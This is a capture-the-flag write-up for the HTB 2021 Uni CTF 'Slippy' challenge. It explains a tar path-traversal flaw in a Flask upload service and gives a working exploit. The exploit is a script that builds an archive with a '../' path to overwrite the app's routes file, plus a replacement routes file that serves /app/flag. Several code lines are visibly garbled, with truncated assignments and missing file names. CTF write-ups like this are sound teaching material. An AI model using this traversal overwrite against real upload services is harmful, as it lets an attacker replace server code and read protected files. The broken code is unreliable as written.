HTB 2021 Uni CTF Quals - Slippy

This challenge consisted of a website where you can upload a gzipped tar file (.tar.gz). When uploading an archive, you get back a list of the files contained in the archive - extracted on the remote machine.

This gave us the initial idea of creating an archive containing a symbolic link to the flag file. This ended up being impossible due to the extraction code, which contains a check that a file is a regular file. If it isn’t, it won’t be moved to a location where we can simply access it (the code was included with the challenge):

def extract_from_archive(file):
    tmp  = tempfile.gettempdir()
    path = os.path.join(tmp, file.filename)

    if tarfile.is_tarfile(path):
        tar =, 'r:gz')

        extractdir = f'{["UPLOAD_FOLDER"]}/{generate(15)}'
        os.makedirs(extractdir, exist_ok=True)

        extracted_filenames = []

        for tarinfo in tar:
            name =
            if tarinfo.isreg():
                filename = f'{extractdir}/{name}'
                os.rename(os.path.join(tmp, name), filename)
            os.makedirs(f'{extractdir}/{name}', exist_ok=True)

        return extracted_filenames

    return False

When looking at this code, there is something else that stands out. The location where files are moved to is decided by appending the filename to a directory. So we checked if we could use relative names in tarfiles, when we stumbled across this writeup: So we can overwrite a file through the extractall from Tarfile already.

Now it was just deciding what to overwrite with which content. We decided on overwriting the file to add a route to read back the flag to us. We also wrote a script to create the archive for us. These files can be found at the end of the writeup for this challenge.

To get the flag, we only had the following steps to do:

  1. Put the and (see files below) in the same directory,
  2. Create the archive by executing python3 (it will be called file.tar),
  3. Gzip the archive: gzip file.tar; this will create file.tar.gz (the version of TarFile we had locally didn’t support generating a gzipped tarfile),
  4. Upload the file.tar.gz file, which will overwrite the routes,
  5. Navigate to http://[ip]:[port]/flag in the browser to retrieve the flag.


One notable thing in the file is that it was necessary to include the info.mtime property. Without this, the server doesn’t think the file is newer, and will not load the new version (so no flag). By setting this to the current time, the server sees that the file has been updated and will automatically reload to use the newer file.


from flask import Blueprint, request, render_template, abort
from application.util import extract_from_archive

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

def index():
    return render_template('index.html')

def flag():
    with open('/app/flag', 'r') as f:

@api.route('/unslippy', methods=['POST'])
def cache():
    if 'file' not in request.files:
        return abort(400)

    extraction = extract_from_archive(request.files['file'])
    if extraction:
        return {"list": extraction}, 200

    return '', 204

#!/usr/bin/env python3

import tarfile
import io
import time

tar = tarfile.TarFile("file.tar", 'w')

info = tarfile.TarInfo("../../../../../../../app/application/blueprints/")

with open("", "rb") as f:
        content =

info.size = len(content)
info.mtime = time.time()

tar.addfile(info, io.BytesIO(content))